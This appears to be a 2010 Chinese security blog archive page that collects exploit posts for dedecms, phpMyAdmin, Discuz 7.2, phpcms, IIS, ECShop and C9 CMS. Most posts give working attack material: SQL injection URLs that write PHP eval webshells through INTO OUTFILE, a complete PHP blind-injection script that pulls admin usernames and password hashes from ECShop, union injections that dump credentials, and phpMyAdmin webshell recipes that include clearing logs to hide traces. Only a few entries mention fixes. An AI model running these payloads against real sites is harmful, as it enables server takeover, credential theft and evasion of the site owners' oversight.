浏览模式: 标准 | 列表2010年05月的文章

dedecms、phpmyadmin暴路径最新收集

Submitted by admin
2010, May 27, 9:08 PM

漏洞描述:
dedecms 5.5程序泄露网站路径信息。

测试地址:

http://www.xxx.com/plus/paycenter/alipay/return_url.php
http://www.xxx.com/plus/paycenter/cbpayment/autoreceive.php
http://www.xxx.com/plus/paycenter/nps/config_pay_nps.php
http://www.xxx.com/plus/task/dede-maketimehtml.php
http://www.xxx.com/plus/task/dede-optimize-table.php
http://www.xxx.com/plus/task/dede-upcache.php

1. /phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php 

DZ 7.2 漏洞

Submitted by admin
2010, May 27, 9:04 PM

/manyou/admincp.php?my_suffix=%0A%0DTOBY57 爆路径

然后直接getshell
userapp.php?script=notice&view=all&option=deluserapp&action=invite&hash=' union select NULL,NULL,NULL,NULL,0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E,NULL,NULL,NULL,NULL into outfile 'C:/inetpub/wwwroot/shell.php'%23

Tags: discuz

Discuz! v7.2 注入漏洞分析与利用

Submitted by admin
2010, May 25, 3:08 PM

漏洞分析:
文件./manyou/sources/notice.php

相关代码:

if($option == 'del') {
$appid = intval($_GET['appid']);
$db->query("DELETE FROM {$tablepre}myinvite WHERE appid='$appid' AND touid='$discuz_uid'");
showmessage('manyou:done', 'userapp.php script=notice&action=invite');
} elseif($option == 'deluserapp') {
$hash = trim($_GET['hash']);    //此处并没有进行过滤,直接导致注入的产生
if($action == 'invite') {   
$query = $db->query("SELECT * FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");
if($value = $db->fetch_array($query)) {
$db->query("DELETE FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");
showmessage('manyou:done', 'userapp.php script=notice&action=invite');
} else {
showmessage('manyou:noperm');
}
} else {
$db->query("DELETE FROM {$tablepre}mynotice WHERE id='$hash' AND uid='$discuz_uid'");
showmessage('manyou:done', 'userapp.php script=notice');
}
}




很简单的一个漏洞。在没有查询结果返回的情况下我们往往只有采取盲注的方式,但如果当前数据库帐号有File_priv的话我们也可以直接into outfile。

/userapp.php script=notice&view=all&option=deluserapp&action=invite&hash=' union select NULL,NULL,NULL,NULL,0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E,NULL,NULL,NULL,NULL into outfile 'C:/inetpub/wwwroot/shell.php'%23%A1%B1

 

al($_POST['O']); >的十六进制表示。

但想

into outfile的话,我们还得有web的物理路径,这在php的情况下并不难得到。

/manyou/admincp.php my_suffix=%0A%0DTOBY57

大小: 69.7 K
尺寸: 500 x 187
浏览: 79 次
点击打开新窗口浏览全图

manyou/userapp.php %0D%0A=TOBY57

大小: 68.95 K
尺寸: 500 x 187
浏览: 40 次
点击打开新窗口浏览全图

这样就事具备,只差outfile了

Tags: discuz

phpcms2008 sp3通杀0day

Submitted by admin
2010, May 25, 3:04 PM

 

此漏洞半年前已由dindle发布在海洋顶端,所以转载请著名来源
注入
yp/company.php where=%23
进入后台访问

http://www.xx.com/admin.php mod=phpcms&file=safe&action=see_code&files=kindle.php

大小: 14.16 K
尺寸: 500 x 195
浏览: 61 次
点击打开新窗口浏览全图

编辑shell,另外phpcms2008有多出包含漏洞,尚未得到合适利用暂时先不发布了

Tags: phpcms

phpcms2008sp4 最新sql注入

Submitted by admin
2010, May 25, 2:57 PM

漏洞名称:
phpcms2008sq4 最新sql注入
发布日期:
2010-05-24
受影响系统:
phpcms2008sp4_UTF8_100510
安全综述:
Phpcms 是国内领先的网站内容管理系统,同时也是一个开源的PHP开发框架。Phpcms由内容模型、会员、问吧、专题、财务、订单、广告、邮件订阅、 短消息、自定义表单、全站搜索等20多个功能模块组成,内置新闻、图片、下载、信息、产品5大内容模型。Phpcms 采用模块化开发,支持自定义内容模型和会员模型,并且可以自定义字段。
漏洞描述:
ads\include\ads.class.php
         function edit($ads, $adsid, $username = '') //110
         {
                   if(!$this->check_form($ads)) return FALSE;
                   $ads = $this->check_form($ads);
                   if(defined('IN_ADMIN'))
                   {
                            $ads['fromdate'] = strtotime($ads['fromdate']);
                            $ads['todate'] = strtotime($ads['todate']);
                   }
         $this->adsid = $adsid;
                   $where = ' adsid='.$this->adsid;
                   if($username) $where .= " AND username='$username'";
                   return $this->db->update($this->table, $ads, $where);
         }
Ads\member.php
if(!$c_ads->edit($info, $adsid, $_username)) showmessage($c_ads->msg(), 'goback'); //47行
变量$adsid没有经过处理就直接进入SQL查询,造成SQL注入。
测试方法:
注册普通会员账号
预订一个广告,然后修改
大小: 13.42 K
尺寸: 500 x 242
浏览: 58 次
点击打开新窗口浏览全图
修改 adsid的值,这里是注入的地点。提交出错信息如下:
大小: 8.82 K
尺寸: 500 x 131
浏览: 53 次
点击打开新窗口浏览全图
解决方案:
等官方补丁或修改
ads\include\ads.class.php
$this->adsid = intval($adsid);
 
来自:Jannock
Tags: phpcms

phpcms2008sp4 IIS下下载任意文件漏洞

Submitted by admin
2010, May 25, 8:02 AM

受影响系统:phpcms2008sp4_UTF8_100510

测试方法:
注册会员
发布一篇下载的文章(不需要通过审核)
然后预览,再点下载即可。

大小: 2.07 K
尺寸: 307 x 105
浏览: 68 次
点击打开新窗口浏览全图大小: 27.92 K
尺寸: 341 x 226
浏览: 49 次
点击打开新窗口浏览全图大小: 4.28 K
尺寸: 191 x 77
浏览: 46 次
点击打开新窗口浏览全图

Tags: phpcms

IIS源码泄露及文件类型解析错误

Submitted by admin
2010, May 25, 7:54 AM

漏洞介绍:IIS是微软推出的一款webserver,使用较为广泛,在支持asp/asp.net的同时还可以较好的支持PHP等其他语言的运行。但是80sec发现在IIS的较高版本中存在一个比较严重的安全问题,在按照网络上提供的默认配置情况下可能导致服务器泄露服务器端脚本源码,也可能错误的将任何类型的文件以PHP的方式进行解析,使得恶意的攻击者可能攻陷支持PHP的IIS服务器,特别是虚拟主机用户可能受的影响较大。


漏洞分析:
IIS支持以CGI的方式运行PHP,但是此种模式下,IIS处理请求的时候可能导致一些同80sec提到的nginx安全漏洞一样的问题,任何用户可以远程将任何类型的文件以PHP的方式去解析,你可以通过查看Phpinfo中对php的支持方式,其中如果为CGI/FAST-CGI就可能存在这个问题。

黑盒访问

查看文件是否存在和返回的HTTP头就可以知道是否存在此漏洞。

http://www.80sec.com/robots.txt/1.php

 

同时,如果服务器支持了PHP,但应用中使用的是asp就可以通过如下方式来直接查看服务端asp源码

http://www.80sec.com/some.asp/1.php

 

漏洞厂商:http://www.microsoft.com

解决方案:

我们已经尝试联系官方,但是此前你可以通过以下的方式来减少损失

关闭cgi.fix_pathinfo为0

本站内容均为原创,转载请务必保留署名与链接!
IIS源码泄露及文件类型解析错误:http://www.80sec.com/iis-cgifastcgi-security-hol.html
Tags: iis, 解析

ECSHOP最新后台拿webshell之鸡肋方法

Submitted by admin
2010, May 20, 6:32 PM

本方法优点就是非超级管理员也可以做到
操作简单,就不上图了

1、添加会员,插入一句话
2、备份数据---自定义备份---选“XXX_users”
   (其中XXX因各站而异,是数据前缀)
3、备份文件名为X.php;X.SQL
4、一句话客户端连接X.php;X.SQL,地址一般为 http://www.XXX.com/data/sqldata/X.php;X.SQL

(比较鸡肋)
OK~
 
来源:3est
 
Tags: ecshop

系统编号:
WAVDB-01606

影响版本:
ECSHOP All Version

程序介绍:
ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。

漏洞分析:


文件 search.php
$string = base64_decode(trim($_GET['encode']));   //37行

$_REQUEST = array_merge($_REQUEST, addslashes_deep($string));   //69行

可以看出addslashes_deep 只能参数值进行过滤。
//297行
    if (!empty($_REQUEST['attr']))
    {
        $sql = "SELECT goods_id, COUNT(*) AS num FROM " . $ecs->table("goods_attr") . " WHERE 0 ";
        foreach ($_REQUEST['attr'] AS $key => $val)
        {
            if (is_not_null($val))
            {
                $attr_num++;
                $sql .= " OR (1 ";

                if (is_array($val))
                {
                    $sql .= " AND attr_id = '$key'";
$key是$_REQUEST['attr'] 的键值,就是这里没有过滤,直接进入SQL查询,造成SQL注入漏洞
可自行构造encode 的值进行注入。
<?php
$list=array("1' or 1=1) and 1=2 GROUP BY goods_id HAVING num = '1' /*"=>"yy");
$string = array("attr"=>$list);
$string = str_replace('+', '%2b', base64_encode(serialize($string)));
die($string);
?>

漏洞利用:


<?php   
ini_set("max_execution_time",0);   
error_reporting(7);   
   
function usage()   
{   
global $argv;   
exit(   
"\n--+++============================================================+++--".   
"\n--+++====== ECShop Search.php SQL Injection Exploit========+++--".   
"\n--+++============================================================+++--".   
"\n\n[+] Author: jannock".   
"\n[+] Team: http://wavdb.com/".   
"\n[+] Usage: php ".$argv[0]." <hostname> <path> <goods_id>".   
"\n[+] Ex.: php ".$argv[0]." localhost / 1".   
"\n\n");   
}   
   
function query($pos, $chr, $chs,$goodid)   
{   
switch ($chs){   
case 0:   
$query = "1=1";   
break;   
case 1:   
$query = " ascii(substring((select user_name from ecs_admin_user limit 0,1),{$pos},1))={$chr}";   
break;   
case 2:   
$query = " ascii(substring((select password from ecs_admin_user limit 0,1),{$pos},1))={$chr}";   
break;   
case 3:   
$query = " length((select user_name from ecs_admin_user limit 0,1))={$pos}";   
break;   
}   
$list=array("1' or 1=1) and 1=2 GROUP BY goods_id HAVING num = '1' union select $goodid,1 from ecs_admin_user where 1=1 and ". $query ."/*"=>"1");   
$query = array("attr"=>$list);   
$query = str_replace('+', '%2b', base64_encode(serialize($query)));   
return $query;   
}   
   
function exploit($hostname, $path, $pos, $chr, $chs,$goodid)   
{   
$chr = ord($chr);   
$conn = fsockopen($hostname, 80);   
   
$message = "GET ".$path."/search.php?encode=".query($pos, $chr, $chs,$goodid)." HTTP/1.1\r\n";   
$message .= "Host: $hostname\r\n";   
$message .= "Connection: Close\r\n\r\n";   
   
fwrite($conn, $message);   
while (!feof($conn))   
{   
$reply .= fgets($conn, 1024);   
}   
fclose($conn);   
return $reply;   
}   
   
   
function crkusername($hostname, $path, $chs,$goodid)   
{   
global $length;   
$key = "abcdefghijklmnopqrstuvwxyz0123456789";   
$chr = 0;   
$pos = 1;   
echo "[+] username: ";   
while ($pos <= $length)   
{   
$response = exploit($hostname, $path, $pos, $key[$chr], $chs,$goodid);   
   
if (preg_match ("/javascript:addToCart/i", $response))   
{   
echo $key[$chr];   
$chr = 0;   
$pos++;   
}   
else   
$chr++;   
}   
echo "\n";   
}   
   
function crkpassword($hostname, $path, $chs,$goodid)   
{   
$key = "abcdef0123456789";   
$chr = 0;   
$pos = 1;   
echo "[+] password: ";   
while ($pos <= 32)   
{   
$response = exploit($hostname, $path, $pos, $key[$chr], $chs,$goodid);   
if (preg_match ("/javascript:addToCart/i", $response))   
{   
echo $key[$chr];   
$chr = 0;   
$pos++;   
}   
else   
$chr++;   
}   
echo "\n\n";   
}   
   
function lengthcolumns($hostname, $path,$chs, $goodid)   
{   
echo "[+] username length: ";   
$exit = 0;   
$length = 0;   
$pos = 1;   
$chr = 0;   
while ($exit==0)   
{   
$response = exploit($hostname, $path, $pos, $chr, $chs,$goodid);   
if (preg_match ("/javascript:addToCart/i", $response))   
{   
$exit = 1;   
$length = $pos;   
break;   
}   
else   
{   
$pos++;   
if($pos>20)   
{   
exit("Exploit failed");   
}   
}   
}   
echo $length."\n";   
return $length;   
}   
   
   
if ($argc != 4)   
usage();   
$hostname = $argv[1];   
$path = $argv[2];   
$goodid = $argv[3];   
$length = lengthcolumns($hostname, $path, 3, $goodid);   
crkusername($hostname, $path, 1,$goodid);   
crkpassword($hostname, $path, 2,$goodid);   
   
?>   


解决方案:
厂商补丁
ECSHOP
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.ecshop.com

信息来源:
<*来源: Bug.Center.Team
链接: http://wavdb.com/1618*>

Tags: ecshop

C9静态文章发布系统漏洞 0day

Submitted by admin
2010, May 14, 7:17 PM

漏洞描述:
<!--#include file="../conn.asp"-->
<!--#include file="../fun/funlogic.asp"-->
<%
thisid=funstr(Trim(Request.QueryString("voteid")))
if thisid="" then
set rs=conn.execute("select top 1 * from plug_vote where oorc<>false order by id desc")
else
set rs=conn.execute("select * from plug_vote where id="&thisid)
end if
if rs.eof then response.Write("连接数据发生错误"):response.End()
conn.execute "update plug_vote set votevi=votevi+1 where id="&rs("id")
for i=1 to 5
if isnull(rs("cs_"&i)) then exit for
next

nowid=rs("id")

......

%>

这里 我们看下是如何接收变量传递进来的值的

thisid=funstr(Trim(Request.QueryString("voteid"))) trim
过滤两边空格 然后是funstr这个函数 在包含文件里有个 fun/funlogic.asp 函数应该在这里 打开这个文件

Function funstr(str)

str = replace(str, "<", "&lt;", 1, -1, 1)
str = replace(str, ">", "&gt;", 1, -1, 1)
str = trim(str)
str = replace(str,"'","‘")

funstr = str
End Function
Function unfunstr(str)

str = replace(str, "&lt;","<", 1, -1, 1)
str = replace(str, "&gt;",">", 1, -1, 1)
str = trim(str)
str = replace(str,"‘","'")

unfunstr = str
End Function

这个函数起到的作用就是过滤字符串中的一些字符如 < > 空格 ' 等等 作者可能认为这样就可以达到防注的效果 其实不然 注入不需要这些东西

http://127.0.0.1/plug_vote/xml.asp?voteid=1

构造下

http://127.0.0.1/plug_vote/xml.a ... 0union%20select%201,2,3,4,5,6,7,username,password,10,11,12,13,14,15,16,17,18%20from%20user%20where%20id=1

查询得到管理员用户名和密码

后台拿webshell 有两种方法 一个是上传 一个是编辑模板 注意看下

编辑模板的地址就可以了

来源:t00ls

Tags: c9

phpmyadmin拿shell

Submitted by admin
2010, May 12, 7:31 PM

首先:
create database joyuan; /* 建立数据库joyuan */
use joyuan; /* 连接joyuan数据库 */
create table shell(code text); /* 建立表shell字段code文本型数据text */

然后:
insert into shell(code) /* 插入数据到shell表中的code字段 */
values ('shell代码'); /* 值为shell代码 我用PHP一句话,看后面*/
select * into outfile '/home/www/htdocs/server.php' from shell;
/* 将shell表中的内容输出保存为文件(输出到web目录下,要不就无法访问shell了,可以直接输出到phpmyadmin目录下,不知道就phpinfo) */
flush logs /* 删除日志 */

删掉刚建的joyuan数据库,直接删除或执行SQL命令:drop database joyuan;

利用PHP一句话客户端(
http://linux.chaom.net/Shell.Htm)写自己的shell

PHP一句话的服务端地址就是:
http://xxx/phpmyadmin/server.php

搞定,嘿嘿。

PHP一句话服务端代码:

<?php eval($_POST[cmd]);?>

========================================

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
Drop TABLE IF EXISTS a;

========================================

①建立数据库

create database hakz                        /*建立数据库hakz*/

use hakz                                          /*连接hakz数据库*/

create table shell(code text)           /*建立表shell,字段code为文本型数据*/       ②插入导出shell

insert into shell(code) values ('后门代码');       /*插入shell代码*/

select * into outfile '/home/www/website/…路径/shell.php' from shell;

                                                  /*导出shell到web路径下*/

flush logs                                       /*删除日志  这一点很重要哦*/        ③删除临时数据库

drop database hakz                   /*或者直接在phpmyadmin中进行可视化操作*/
        最后附上几种PHP一句话服务端代码:

<?php eval($_POST[hakz]);?>
<?php @eval($_POST[hakz]);?>                   /*容错代码*/

<?php assert($_POST[hakz]);?>                  /*assert 函数和 eval一样*/

<?@include($_POST["hakz"]);?>

=====================================

 

C9静态文章发布系统漏洞

Submitted by admin
2010, May 11, 7:27 PM

作者:jshell

近来正在深入学习asp 到down.chinaz.com看源码都成习惯了

一直看到一个叫C9静态文章发布系统的程序 只不过没仔细看过

今天下载回来一份看了下 发现了问题 在投票那里 是一个flash投票系统

flash我不懂 于是抓了个包看了下 发现是通过add.asp提交投票 xml.asp

提供rss输出 当读到这里的时候 发现了问题 代码如下:

<!--#include file="../conn.asp"-->
<!--#include file="../fun/funlogic.asp"-->
<%
thisid=funstr(Trim(Request.QueryString("voteid")))
if thisid="" then
 set rs=conn.execute("select top 1 * from plug_vote where oorc<>false order by id desc")
else
 set rs=conn.execute("select * from plug_vote where id="&thisid)
end if
if rs.eof then response.Write("连接数据发生错误"):response.End()
conn.execute "update plug_vote set votevi=votevi+1 where id="&rs("id")
for i=1 to 5
if isnull(rs("cs_"&i)) then exit for
next

nowid=rs("id")

......

%>

这里 我们看下是如何接收变量传递进来的值的

thisid=funstr(Trim(Request.QueryString("voteid")))  trim过滤两边空格 然后是funstr这个函数 在包含文件里有个 fun/funlogic.asp 函数应该在这里 打开这个文件

Function funstr(str) 
   
  str = replace(str, "<", "&lt;", 1, -1, 1)
  str = replace(str, ">", "&gt;", 1, -1, 1)
     str = trim(str)
  str = replace(str,"'","‘")
  
  funstr = str
    End Function
 Function unfunstr(str) 
   
  str = replace(str, "&lt;","<", 1, -1, 1)
  str = replace(str, "&gt;",">", 1, -1, 1)
     str = trim(str)
  str = replace(str,"‘","'")
  
  unfunstr = str
    End Function

这个函数起到的作用就是过滤字符串中的一些字符如 < > 空格 ' 等等 作者可能认为这样就可以达到防注的效果 其实不然 注入不需要这些东西

http://127.0.0.1:2936/plug_vote/xml.asp?voteid=1

构造下 http://127.0.0.1:2936/plug_vote/xml.asp?voteid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,username,password,10,11,12,13,14,15,16,17,18%20from%20user%20where%20id=1 查询得到管理员用户名和密码 如图:

大小: 12.43 K
尺寸: 360 x 238
浏览: 63 次
点击打开新窗口浏览全图

后台拿webshell 有两种方法 一个是上传 一个是编辑模板 注意看下

编辑模板的地址就可以了 不多说 用此漏洞干坏事者 MJJ

Tags: c9
Records:1612